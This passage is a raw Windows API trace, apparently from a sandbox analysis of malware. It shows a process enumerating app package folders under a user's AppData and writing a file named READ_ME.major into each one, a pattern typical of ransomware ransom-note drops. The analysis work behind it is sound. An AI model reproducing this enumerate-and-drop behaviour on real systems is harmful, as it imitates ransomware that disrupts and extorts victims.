dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x934 [0190.433] WriteFile (in: hFile=0x934, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0190.433] CloseHandle (hObject=0x934) returned 1 [0190.433] FindNextFileW (in: hFindFile=0x6610f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1fd05db4, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x712f2959, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x712f2959, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0190.433] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\Settings\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.photos_8wekyb3d8bbwe\\settings\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x934 [0190.435] WriteFile (in: hFile=0x934, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0190.436] CloseHandle (hObject=0x934) returned 1 [0190.436] FindNextFileW (in: hFindFile=0x6610f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xec8930d8, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xec8930d8, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xec8930d8, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0190.436] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\SystemAppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.photos_8wekyb3d8bbwe\\systemappdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x934 [0190.437] WriteFile (in: hFile=0x934, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0190.437] CloseHandle (hObject=0x934) returned 1 [0190.437] FindNextFileW (in: hFindFile=0x6610f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1fcdfb62, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x36142cad, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x36142cad, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0190.438] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\TempState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.photos_8wekyb3d8bbwe\\tempstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x934 [0190.438] WriteFile (in: hFile=0x934, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0190.439] CloseHandle (hObject=0x934) returned 1 [0190.439] FindNextFileW (in: hFindFile=0x6610f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1fcdfb62, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x36142cad, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x36142cad, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0190.439] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecHealthUI_cw5n1h2txyewy\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x72644337, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x726dcc78, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2410978b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x660970 [0190.439] FindNextFileW (in: hFindFile=0x660970, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x72644337, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x726dcc78, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2410978b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0190.439] FindNextFileW (in: hFindFile=0x660970, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x726dcc78, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x726dcc78, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x726dcc78, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AC", cAlternateFileName="")) returned 1 [0190.439] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecHealthUI_cw5n1h2txyewy\\AC\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.sechealthui_cw5n1h2txyewy\\ac\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x938 [0190.479] WriteFile (in: hFile=0x938, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0190.480] CloseHandle (hObject=0x938) returned 1 [0190.480] FindNextFileW (in: hFindFile=0x660970, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7266a59f, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7266a59f, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7266a59f, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0190.480] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecHealthUI_cw5n1h2txyewy\\AppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.sechealthui_cw5n1h2txyewy\\appdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x938 [0190.481] WriteFile (in: hFile=0x938, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0190.482] CloseHandle (hObject=0x938) returned 1 [0190.482] FindNextFileW (in: hFindFile=0x660970, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7266a59f, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7266a59f, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7266a59f, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0190.482] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecHealthUI_cw5n1h2txyewy\\LocalCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.sechealthui_cw5n1h2txyewy\\localcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x938 [0190.483] WriteFile (in: hFile=0x938, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0190.484] CloseHandle (hObject=0x938) returned 1 [0190.484] FindNextFileW (in: hFindFile=0x660970, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x72644337, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x72644337, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x72644337, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0190.484] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecHealthUI_cw5n1h2txyewy\\LocalState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.sechealthui_cw5n1h2txyewy\\localstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x938 [0190.484] WriteFile (in: hFile=0x938, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0190.485] CloseHandle (hObject=0x938) returned 1 [0190.485] FindNextFileW (in: hFindFile=0x660970, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2410978b, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2410978b, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2412fb5b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0190.485] FindNextFileW (in: hFindFile=0x660970, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x72644337, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x72644337, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x72644337, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0190.485] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecHealthUI_cw5n1h2txyewy\\RoamingState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.sechealthui_cw5n1h2txyewy\\roamingstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x938 [0190.486] WriteFile (in: hFile=0x938, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0190.487] CloseHandle (hObject=0x938) returned 1 [0190.487] FindNextFileW (in: hFindFile=0x660970, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7266a59f, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7266a59f, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7266a59f, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0190.487] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecHealthUI_cw5n1h2txyewy\\Settings\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.sechealthui_cw5n1h2txyewy\\settings\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x938 [0190.487] WriteFile (in: hFile=0x938, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0190.488] CloseHandle (hObject=0x938) returned 1 [0190.488] FindNextFileW (in: hFindFile=0x660970, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7266a59f, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7266a59f, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7266a59f, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0190.488] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecHealthUI_cw5n1h2txyewy\\SystemAppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.sechealthui_cw5n1h2txyewy\\systemappdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x938 [0190.489] WriteFile (in: hFile=0x938, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0190.490] CloseHandle (hObject=0x938) returned 1 [0190.490] FindNextFileW (in: hFindFile=0x660970, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x72644337, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd1028226, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x72644337, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0190.490] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecHealthUI_cw5n1h2txyewy\\TempState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.sechealthui_cw5n1h2txyewy\\tempstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x938 [0190.490] WriteFile (in: hFile=0x938, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0190.492] CloseHandle (hObject=0x938) returned 1 [0190.495] FindNextFileW (in: hFindFile=0x660970, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x72644337, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd1028226, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x72644337, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0190.495] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecondaryTileExperience_cw5n1h2txyewy\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8333af6e, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x70e206ba, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2412fb5b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x660ff0 [0190.495] FindNextFileW (in: hFindFile=0x660ff0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8333af6e, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x70e206ba, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2412fb5b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0190.495] FindNextFileW (in: hFindFile=0x660ff0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x833d38ba, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x377598d9, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x377598d9, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AC", cAlternateFileName="")) returned 1 [0190.495] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecondaryTileExperience_cw5n1h2txyewy\\AC\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.secondarytileexperience_cw5n1h2txyewy\\ac\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x93c [0190.498] WriteFile (in: hFile=0x93c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0190.499] CloseHandle (hObject=0x93c) returned 1 [0190.499] FindNextFileW (in: hFindFile=0x660ff0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833ad684, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd10808b3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x833ad684, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0190.499] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecondaryTileExperience_cw5n1h2txyewy\\AppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.secondarytileexperience_cw5n1h2txyewy\\appdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x93c [0190.500] WriteFile (in: hFile=0x93c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0190.501] CloseHandle (hObject=0x93c) returned 1 [0190.501] FindNextFileW (in: hFindFile=0x660ff0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833ad684, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd1080f06, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x833ad684, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0190.501] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecondaryTileExperience_cw5n1h2txyewy\\LocalCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.secondarytileexperience_cw5n1h2txyewy\\localcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x93c [0190.502] WriteFile (in: hFile=0x93c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0190.502] CloseHandle (hObject=0x93c) returned 1 [0190.502] FindNextFileW (in: hFindFile=0x660ff0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8333af6e, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd10812d1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8333af6e, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0190.502] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecondaryTileExperience_cw5n1h2txyewy\\LocalState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.secondarytileexperience_cw5n1h2txyewy\\localstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x93c [0190.503] WriteFile (in: hFile=0x93c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0190.504] CloseHandle (hObject=0x93c) returned 1 [0190.504] FindNextFileW (in: hFindFile=0x660ff0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2412fb5b, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2412fb5b, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2412fb5b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0190.504] FindNextFileW (in: hFindFile=0x660ff0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8336128a, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd10816d1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8336128a, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0190.504] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecondaryTileExperience_cw5n1h2txyewy\\RoamingState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.secondarytileexperience_cw5n1h2txyewy\\roamingstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x93c [0190.505] WriteFile (in: hFile=0x93c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0190.506] CloseHandle (hObject=0x93c) returned 1 [0190.506] FindNextFileW (in: hFindFile=0x660ff0, lpFindFileData=0x2e3fb24 | 